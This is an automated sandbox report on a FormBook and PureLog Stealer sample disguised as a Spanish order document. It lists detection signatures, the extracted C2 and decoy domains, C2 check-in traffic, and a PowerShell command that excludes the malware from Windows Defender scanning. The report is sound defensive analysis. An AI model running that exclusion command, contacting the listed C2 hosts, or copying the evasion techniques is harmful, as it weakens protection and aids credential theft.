Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Solicitud de pedido Documento No 168646080.exe

Overview

General Information

Sample name:Solicitud de pedido Documento No 168646080.exe
Analysis ID:1400223
MD5:eec85a3805bca7a05b1e669f3a043bc6
SHA1:b149921ff8b37ccc526a47f170eff93d4746faf9
SHA256:4a487c4228b0a8d316809fda3510b6153f392d4e80622293efa6c8f2c4f1cd83
Tags:exeformbook
Infos:

Detection

FormBook, PureLog Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected FormBook
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large array initializations
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Initial sample is a PE file and has a suspicious name
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect virtualization through RDTSC time measurements
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates processes with suspicious names
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Tries to load missing DLLs
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Solicitud de pedido Documento No 168646080.exe (PID: 3180 cmdline: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe MD5: EEC85A3805BCA7A05B1E669F3A043BC6)
    • powershell.exe (PID: 7324 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • Solicitud de pedido Documento No 168646080.exe (PID: 7348 cmdline: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe MD5: EEC85A3805BCA7A05B1E669F3A043BC6)
      • explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • msiexec.exe (PID: 7484 cmdline: C:\Windows\SysWOW64\msiexec.exe MD5: 9D09DC1EDA745A5F87553048E57620CF)
          • cmd.exe (PID: 7508 cmdline: /c del "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.rdlva.com/pz08/"], "decoy": ["deespresence.com", "fanyablack.com", "papermoonnursery.com", "sunriseclohting.store", "jenstandsforarkansas.com", "lkhtalentconsulting.com", "baerana.com", "hyperphit.com", "davidianbrant.com", "itkagear.com", "web-findmy.site", "liveforwardventures.com", "skyenglearn.online", "studio-sticky.store", "yassa-hany.online", "tacoshack479.com", "bigtexture.xyz", "erxkula.shop", "go-bloggers.com", "qwdlwys.site", "taylorpritchett.com", "yobo-by.com", "trendsdrop.com", "boostyourselftoday.com", "taxibactrungnam.com", "sgzycp.net", "anti-theft-device-82641.bond", "ytytyt016.xyz", "loveyourhome.style", "ithinkmoney.com", "bertric.info", "permanentday.space", "kxn.ink", "onlythumbs.online", "techrihno.com", "washing-machine-46612.bond", "phdop.xyz", "nordens-media.com", "gourmetfoodfactory.com", "ketoalycetiworks.buzz", "amplilim.site", "usetruerreview.com", "inprime.xyz", "aloyoga-uae.com", "quickfibrokers.com", "primadesignerhomes.com", "greatlifehacks.online", "thewipglobal.com", "tobegoodlife.net", "hotelfincamalvasia.com", "trevts.com", "ae-skinlab.com", "grammarhome.com", "cld005.com", "first-solution.online", "keylabcerrajeria.com", "besttravelsgate.com", "friskiwear.com", "hedrickmanufactory.com", "pinewell.world", "5819995.com", "c2help.live", "kai3.center", "plantasdasminas.com"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cbb0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
      • 0x18839:$sqlite3step: 68 34 1C 7B E1
      • 0x1894c:$sqlite3step: 68 34 1C 7B E1
      • 0x18868:$sqlite3text: 68 38 2A 90 C5
      • 0x1898d:$sqlite3text: 68 38 2A 90 C5
      • 0x1887b:$sqlite3blob: 68 53 D8 7F 8C
      • 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
      Click to see the 29 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      2.2.Solicitud de pedido Documento No 168646080.exe.27cb1fc.0.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
        2.2.Solicitud de pedido Documento No 168646080.exe.27c71e4.5.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
          2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
              6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
                Click to see the 10 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ParentImage: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ParentProcessId: 3180, ParentProcessName: Solicitud de pedido Documento No 168646080.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ProcessId: 7324, ProcessName: powershell.exe
                Sigma detected: Powershell Defender Exclusion
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ParentImage: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ParentProcessId: 3180, ParentProcessName: Solicitud de pedido Documento No 168646080.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ProcessId: 7324, ProcessName: powershell.exe
                Sigma detected: Non Interactive PowerShell Process Spawned
                Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ParentImage: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ParentProcessId: 3180, ParentProcessName: Solicitud de pedido Documento No 168646080.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe, ProcessId: 7324, ProcessName: powershell.exe

                Snort Signatures

                Timestamp:02/28/24-14:57:24.410156
                SID:2031412
                Source Port:49719
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:57:02.918467
                SID:2031412
                Source Port:49718
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:55:21.703259
                SID:2031412
                Source Port:49711
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:56:21.301235
                SID:2031412
                Source Port:49716
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:56:42.351336
                SID:2031412
                Source Port:49717
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:58:24.644872
                SID:2031412
                Source Port:49721
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:55:41.893387
                SID:2031412
                Source Port:49713
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:58:04.170586
                SID:2031412
                Source Port:49720
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected
                Timestamp:02/28/24-14:56:01.170610
                SID:2031412
                Source Port:49715
                Destination Port:80
                Protocol:TCP
                Classtype:A Network Trojan was detected

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus detection for URL or domain
                Source: http://www.aloyoga-uae.com/pz08/Avira URL Cloud: Label: phishing
                Source: http://www.ytytyt016.xyz/pz08/www.aloyoga-uae.comAvira URL Cloud: Label: phishing
                Source: http://www.5819995.com/pz08/www.tacoshack479.comAvira URL Cloud: Label: malware
                Source: http://www.tacoshack479.com/pz08/Avira URL Cloud: Label: malware
                Source: http://www.ytytyt016.xyzAvira URL Cloud: Label: phishing
                Source: http://www.tacoshack479.com/pz08/www.sunriseclohting.storeAvira URL Cloud: Label: malware
                Source: http://www.ytytyt016.xyz/pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtXAvira URL Cloud: Label: phishing
                Source: http://www.ytytyt016.xyz/pz08/Avira URL Cloud: Label: phishing
                Source: http://www.phdop.xyz/pz08/www.rdlva.comAvira URL Cloud: Label: phishing
                Source: http://www.tacoshack479.comAvira URL Cloud: Label: malware
                Source: http://www.5819995.com/pz08/Avira URL Cloud: Label: malware
                Source: http://www.aloyoga-uae.com/pz08/www.kxn.inkAvira URL Cloud: Label: phishing
                Source: http://www.phdop.xyz/pz08/Avira URL Cloud: Label: phishing
                Found malware configuration
                Source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.rdlva.com/pz08/"], "decoy": ["deespresence.com", "fanyablack.com", "papermoonnursery.com", "sunriseclohting.store", "jenstandsforarkansas.com", "lkhtalentconsulting.com", "baerana.com", "hyperphit.com", "davidianbrant.com", "itkagear.com", "web-findmy.site", "liveforwardventures.com", "skyenglearn.online", "studio-sticky.store", "yassa-hany.online", "tacoshack479.com", "bigtexture.xyz", "erxkula.shop", "go-bloggers.com", "qwdlwys.site", "taylorpritchett.com", "yobo-by.com", "trendsdrop.com", "boostyourselftoday.com", "taxibactrungnam.com", "sgzycp.net", "anti-theft-device-82641.bond", "ytytyt016.xyz", "loveyourhome.style", "ithinkmoney.com", "bertric.info", "permanentday.space", "kxn.ink", "onlythumbs.online", "techrihno.com", "washing-machine-46612.bond", "phdop.xyz", "nordens-media.com", "gourmetfoodfactory.com", "ketoalycetiworks.buzz", "amplilim.site", "usetruerreview.com", "inprime.xyz", "aloyoga-uae.com", "quickfibrokers.com", "primadesignerhomes.com", "greatlifehacks.online", "thewipglobal.com", "tobegoodlife.net", "hotelfincamalvasia.com", "trevts.com", "ae-skinlab.com", "grammarhome.com", "cld005.com", "first-solution.online", "keylabcerrajeria.com", "besttravelsgate.com", "friskiwear.com", "hedrickmanufactory.com", "pinewell.world", "5819995.com", "c2help.live", "kai3.center", "plantasdasminas.com"]}
                Multi AV Scanner detection for submitted file
                Source: Solicitud de pedido Documento No 168646080.exeReversingLabs: Detection: 42%
                Yara detected FormBook
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Machine Learning detection for sample
                Source: Solicitud de pedido Documento No 168646080.exeJoe Sandbox ML: detected
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: Solicitud de pedido Documento No 168646080.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: Binary string: msiexec.pdb source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450474495.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450776254.0000000001590000.00000040.10000000.00040000.00000000.sdmp, msiexec.exe, 00000008.00000002.3782071356.0000000000BD0000.00000040.80000000.00040000.00000000.sdmp
                Source: Binary string: msiexec.pdbGCTL source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450474495.00000000011D8000.00000004.00000020.00020000.00000000.sdmp, Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450776254.0000000001590000.00000040.10000000.00040000.00000000.sdmp, msiexec.exe, 00000008.00000002.3782071356.0000000000BD0000.00000040.80000000.00040000.00000000.sdmp
                Source: Binary string: qEnw.pdbSHA256 source: Solicitud de pedido Documento No 168646080.exe
                Source: Binary string: wntdll.pdbUGP source: Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3787118539.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3787118539.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1452347994.0000000004AE8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1450689990.0000000004932000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: Solicitud de pedido Documento No 168646080.exe, Solicitud de pedido Documento No 168646080.exe, 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000008.00000002.3787118539.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3787118539.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1452347994.0000000004AE8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.1450689990.0000000004932000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: qEnw.pdb source: Solicitud de pedido Documento No 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 4x nop then pop esi6_2_00417312
                Source: C:\Windows\SysWOW64\msiexec.exeCode function: 4x nop then pop esi8_2_00BA7312

                Networking

                barindex
                Snort IDS alert for network traffic
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49711 -> 18.167.179.176:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49713 -> 3.96.23.237:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49715 -> 104.21.12.188:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49716 -> 15.197.142.173:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49717 -> 15.197.130.221:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49718 -> 172.104.233.69:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49719 -> 13.228.106.35:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49720 -> 3.33.130.190:80
                Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.7:49721 -> 103.224.212.213:80
                System process connects to network (likely due to code injection or exploit)
                Source: C:\Windows\explorer.exeNetwork Connect: 103.224.212.213 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 172.104.233.69 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 15.197.142.173 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 18.167.179.176 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 104.21.12.188 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 3.96.23.237 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 15.197.130.221 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 13.228.106.35 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 3.33.130.190 80Jump to behavior
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: www.rdlva.com/pz08/
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.ytytyt016.xyz
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtX HTTP/1.1Host: www.ytytyt016.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=9YX7L4oFB3/EoPBGuEUMKmowUgzTtecO6ANZQ1SJSnxFJE2hiNf1weaUCMKGubsbt86VGUGPQA==&CR=_DHhAtX HTTP/1.1Host: www.aloyoga-uae.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=U4nNGnww1kjxOKScgSk+uScuMskua2ucq9ipsnk6Ch7erOE2tdRqmLDXrgubFDKibExXjkNZ4A==&CR=_DHhAtX HTTP/1.1Host: www.kxn.inkConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=32Qm6Ke2HKMNxWuGOo4gUstP0NhHa1GW0Wc3g6Bmqj6dA0nbRKEtQTutVOb61eG0z72pbUCjvw==&CR=_DHhAtX HTTP/1.1Host: www.nordens-media.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=j7VZTyaPLotDIgtvuFm1Wc2ZOg86ksyi3hYWattYqpUq5IzwEATKEtPTRIq3N3amsDpuvgSkbA==&CR=_DHhAtX HTTP/1.1Host: www.thewipglobal.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN6AdDBGShPY7E+43Q==&CR=_DHhAtX HTTP/1.1Host: www.boostyourselftoday.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=iU/VPDM1hXdODhSoU7U2JopiHjlxkOyRWPhUw/eyvzY6Otnmd1rCkE8jNVWF6hpsFcjAQEEsrA==&CR=_DHhAtX HTTP/1.1Host: www.yobo-by.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=sHUCYmOOLAoNE4y8/5cjc5MBwdY8WEAoN/4wEGeHNPnX/dfJjUbL6GitjPJCVlt1GculRFq7FA==&CR=_DHhAtX HTTP/1.1Host: www.rdlva.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpBqNAn8DKeRhHzw==&CR=_DHhAtX HTTP/1.1Host: www.yassa-hany.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: Joe Sandbox ViewIP Address: 103.224.212.213 103.224.212.213
                Source: Joe Sandbox ViewIP Address: 15.197.130.221 15.197.130.221
                Source: Joe Sandbox ViewASN Name: TRELLIAN-AS-APTrellianPtyLimitedAU TRELLIAN-AS-APTrellianPtyLimitedAU
                Source: Joe Sandbox ViewASN Name: TANDEMUS TANDEMUS
                Source: Joe Sandbox ViewASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
                Source: Joe Sandbox ViewASN Name: TANDEMUS TANDEMUS
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Windows\explorer.exeCode function: 7_2_08687F82 getaddrinfo,setsockopt,recv,7_2_08687F82
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtX HTTP/1.1Host: www.ytytyt016.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=9YX7L4oFB3/EoPBGuEUMKmowUgzTtecO6ANZQ1SJSnxFJE2hiNf1weaUCMKGubsbt86VGUGPQA==&CR=_DHhAtX HTTP/1.1Host: www.aloyoga-uae.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=U4nNGnww1kjxOKScgSk+uScuMskua2ucq9ipsnk6Ch7erOE2tdRqmLDXrgubFDKibExXjkNZ4A==&CR=_DHhAtX HTTP/1.1Host: www.kxn.inkConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=32Qm6Ke2HKMNxWuGOo4gUstP0NhHa1GW0Wc3g6Bmqj6dA0nbRKEtQTutVOb61eG0z72pbUCjvw==&CR=_DHhAtX HTTP/1.1Host: www.nordens-media.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=j7VZTyaPLotDIgtvuFm1Wc2ZOg86ksyi3hYWattYqpUq5IzwEATKEtPTRIq3N3amsDpuvgSkbA==&CR=_DHhAtX HTTP/1.1Host: www.thewipglobal.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN6AdDBGShPY7E+43Q==&CR=_DHhAtX HTTP/1.1Host: www.boostyourselftoday.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
                Source: global trafficHTTP traffic detected: GET /pz08/?cx=iU/VPDM1hXdODhSoU7U2JopiHjlxkOyRWPhUw/eyvzY6Otnmd1rCkE8jNVWF6hpsFcjAQEEsrA==&CR=_DHhAtX HTTP/1.1Host: www.yobo-by.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
